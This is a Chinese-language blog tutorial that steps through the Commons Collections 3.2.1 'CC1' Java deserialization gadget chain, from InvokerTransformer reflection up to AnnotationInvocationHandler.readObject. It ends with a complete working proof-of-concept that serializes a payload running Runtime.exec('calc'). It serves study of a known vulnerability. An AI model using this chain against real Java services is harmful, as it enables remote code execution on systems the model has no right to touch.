环境准备 1.jkd8u65 下载地址:https://blog.lupf.cn/articles/2022/02/19/1645283454543.html
2.与oracle jdk对应版本的sun包 下载地址:http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/af660750b2f4/src/share/classes/sun
3.Commons Collections 3.2.1(版本高了可能就没漏洞了) 使用maven自动导包,在pom.xml里设置 依赖:
1 2 3 4 5 6 7 <dependencies > <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.1</version > </dependency > </dependencies >
为什么会造成commons-collections的反序列化漏洞 commons-collections包为java提供了一些接口类,其中的漏洞点在于他的Transformer
接口类transform
方法的一些实现类
链子的分析 因为这是我第三次写链子的分析,所以没有按照白日梦组长的思考顺序来写
首先,我们的最终目标是执行到
1 2 Runtime runtime = Runtime.getRuntime();runtime.exec("calc" );
但是因为Runtime没有实现Serializable
接口,所以无法序列化和反序列化
只能使用反射的方法来让Runtime对象可以序列化和反序列化,因为Class类实现了Serializable
接口
而使用反射进行实例化的话,虽然Runtime
类的构造函数为private
,但是他提供了静态函数getRuntime()
来返回一个Runtime对象
普通写法:
1 2 3 Class c = Class.forName("java.lang.Runtime" );Method method = c.getMethod("getRuntime" ,null );Runtime runtime = (Runtime) method.invoke(null ,null );
看看InvokerTransformer.transform()
的作用
Transforms the input to result by invoking a method on the input.
它的代码实现为
1 2 3 4 5 6 7 8 9 10 11 12 13 public Object transform (Object input) { if (input == null ) { return null ; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } ..... ..... .....
所以他的作用就是实现反射,使用InvokerTransformer.transform()
获得可以反序列化的Runtime
对象并执行exec()
方法
这里的获取的方法的参数要写对,否则会报错
1 2 3 4 5 6 7 Class c = Runtime.class;Method getRuntimemethod = (Method) new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }).transform(c);Runtime runtime = (Runtime) new InvokerTransformer ("invoke" ,new Class [] {Object.class,Object[].class},new Object [] {null ,null }).transform(getRuntimemethod);new InvokerTransformer ("exec" ,new Class [] {String.class},new Object []{"calc" }).transform(runtime);
这就是CC1链子的终点,然后再反推,找哪里调用了transform()方法,且调用的对象可以控
TransformedMap.checkSetValue()
里调用了transform()方法
1 2 3 protected Object checkSetValue (Object value) { return valueTransformer.transform(value); }
这里的 valueTransformer
是通过构造函数赋值的
1 2 3 4 5 protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; }
虽然构造函数为protected,但是他提供了静态方法来返回实例
1 2 3 public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap (map, keyTransformer, valueTransformer); }
将链子连接起来
因为这里只能调用一次transform()
,但是从前面可以知道,我们要执行很多次InvokerTransformer.transform()
,所以需要使用其他类的transform()
来将这些transform()
串起来
可以使用ChainedTransformer.transform()
1 2 3 4 5 6 public Object transform (Object object) { for (int i = 0 ; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
可以看出来,他是可以循环调用iTransformers
数组内对象的transform()
方法,并将上一个执行的结果作为下一个执行的对象
但是又有问题了,因为在上面的InvokerTransformer.transform(),我是使用Class c = Runtime.class
来开头的,他没有执行transform方法。这又得使用另外一个类了
1 2 3 public Object transform (Object input) { return iConstant; }
给他输入啥,他就返回啥,所以就刚好符合了我们的需求
最重要的是,上面这两个类,都实现了Serializable
接口,可以序列化、反序列化
然后就变成了下面的代码
1 2 3 4 5 6 7 8 ChainedTransformer chainTransformer = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class [] {Object.class,Object[].class},new Object [] {null ,null }), new InvokerTransformer ("exec" ,new Class [] {String.class},new Object []{"calc" }) }); Map<?,?> map=new HashMap <>(); Map a = TransformedMap.decorate(map,null ,chainTransformer);
但是checkSetValue是个protected方法,所以得找一下这个类里,有没有public的方法调用了这个方法
AbstractInputCheckedMapDecorator.MapEntry 在AbstractInputCheckedMapDecorator类的MapEntry
静态类里
在他的setValue
方法里调用了checkSetValue
1 2 3 4 public Object setValue (Object value) { value = parent.checkSetValue(value); return entry.setValue(value); }
因为MapEntry
继承了AbstractMapEntryDecorator
,而AbstractMapEntryDecorator
又实现了Map.Entry接口
所以在这里他是对Map.Entry接口类里setValue()
的实现
同时,parent.checkSetValue
为AbstractInputCheckedMapDecorator
类里的一个抽象方法,而TransformedMap
类又继承了AbstractInputCheckedMapDecorator
类。所以最终执行的还是TransformedMap.checkSetValue()
所以,我们只要通过entry类进行遍历,然后对entry执行setValue就可以执行到这里的parent.checkSetValue
<Map,Entry<K,V>> entrySet() 将Map集合转换成set集合,所以调用entrySet()的map对象需要有值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 new ConstantTransformer (Runtime.class),new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }),new InvokerTransformer ("invoke" ,new Class [] {Object.class,Object[].class},new Object [] {null ,null }),new InvokerTransformer ("exec" ,new Class [] {String.class},new Object []{"calc" })}); Map<Object,Object> map=new HashMap <>(); map.put("k" ,"v" ); Map<Object,Object> transformermap = TransformedMap.decorate(map,null ,chainTransformer); for (Map.Entry entry:transformermap.entrySet()){ entry.setValue(chainTransformer); }
这样CC1链的后半段就成功了
然后就是找哪里调用了setValue
AnnotationInvocationHandler 这个类里调用setValue()
,而且还是在readObject()
里!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { throw new java .io.InvalidObjectException("Non-annotation type in annotation serial stream" ); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } } }
他是对memberValues
进行遍历,去查看构造函数
1 2 3 4 5 6 7 8 9 AnnotationInvocationHandler(Class<? extends Annotation > type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0 ] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError ("Attempt to create proxy for a non-annotation type." ); this .type = type; this .memberValues = memberValues; }
只要把memberValues的值改为上面的transformermap
的值就可以
然后type参数就是需要一个继承Annotation
接口的类,也就是注释类,像Override
那些
但是这个类没有标注修饰符,所以默认为default
所以这里只能使用反射来实例化这个类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ChainedTransformer chainTransformer = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class [] {Object.class,Object[].class},new Object [] {null ,null }), new InvokerTransformer ("exec" ,new Class [] {String.class},new Object []{"calc" }) }); Map<Object,Object> map=new HashMap <>(); map.put("k" ,"v" ); Map<Object,Object> transformermap = TransformedMap.decorate(map,null ,chainTransformer); Class annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor constructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class,Map.class);constructor.setAccessible(true ); Object annotationInvocationHandler = constructor.newInstance(Override.class,transformermap);
然后再看一下AnnotationInvocationHandler.readObject
里,需要达成什么条件才能够执行到setValue()
1 2 3 4 5 6 7 AnnotationType annotationType = null ;try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { throw new java .io.InvalidObjectException("Non-annotation type in annotation serial stream" ); }
将type参数,也就是构造函数传如的 Annotation
子类进行实例化
1 Map<String, Class<?>> memberTypes = annotationType.memberTypes();
获取 Annotation
子类实例的成员方法键值对
1 2 3 4 5 6 7 8 9 10 11 12 13 14 for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } }
将memberValues
的Map集合转换为Set集合进行遍历,然后取memberValues
即上面的transformermap
的key值,然后在 Annotation
子类实例里面根据取得的key值查找成员方法,如果存在,那么就可以进入第一个if语句。
然后判断value能否转换为memberType
对应的类,如果不能转换,那么就可以进入第二个if语句。或者是value是ExceptionProxy
类的实例
obj.instanceof(class)
也就是说这个对象是不是这种类型,
1.一个对象是本身类的一个对象
2.一个对象是本身类父类(父类的父类)和接口(接口的接口)的一个对象
3.所有对象都是Object
4.凡是null有关的都是false null.instanceof(class)
class.inInstance(obj)
这个对象能不能被转化为这个类
1.一个对象是本身类的一个对象
2.一个对象能被转化为本身类所继承类(父类的父类等)和实现的接口(接口的父接口)强转
3.所有对象都能被Object的强转
4.凡是null有关的都是false class.inInstance(null)
所以只要找一个 Annotation
子类,且value的值无法转化为 Annotation
子类的成员方法类
找了个Attributes
注解类
1 2 3 4 5 6 7 public @interface Attributes { StabilityLevel name () default StabilityLevel.PRIVATE; StabilityLevel data () default StabilityLevel.PRIVATE; DependencyClass dependency () default DependencyClass.UNKNOWN; }
发现不能转换,所以就用他了
1 2 3 4 Class a=StabilityLevel.class; String b="sss" ; System.out.println(a.isInstance(b));
最终的链子 1 2 3 4 5 6 sun.reflect.annotation.AnnotationInvocationHandler.readObject() ->AbstractInputCheckedMapDecorator.setvalue() ->TransformedMap.checkSetValue() ->ChainedTransformer.transform() ->InvokerTransformer.transform() ->Runtime.exec()
pop
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 import com.sun.tracing.dtrace.Attributes;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Annotation;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;public class cc1_new { public static void main (String[] args) throws Exception { ChainedTransformer chainTransformer = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class [] {Object.class,Object[].class},new Object [] {null ,null }), new InvokerTransformer ("exec" ,new Class [] {String.class},new Object []{"calc" }) }); Map<Object,Object> map=new HashMap <>(); map.put("name" ,"v" ); Map<Object,Object> transformermap = TransformedMap.decorate(map,null ,chainTransformer); Class annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true ); Object annotationInvocationHandler = constructor.newInstance(Attributes.class,transformermap); System.out.println(annotationInvocationHandler); serialize(annotationInvocationHandler); unserialize("1.bin" ); } public static void serialize (Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("1.bin" )); oos.writeObject(obj); } public static Object unserialize (String filename) throws Exception{ ObjectInputStream oip = new ObjectInputStream (new FileInputStream (filename)); Object obj = oip.readObject(); return obj; } }
成功弹出计算器
总结 在找java的反序列化的时候,应该依次找
危险类重写readOject()处是否有可以直接进攻击的地方
根据readOject进行延顺,找是否能够攻击的地方
感觉java的反序列化比php难很多
参考连接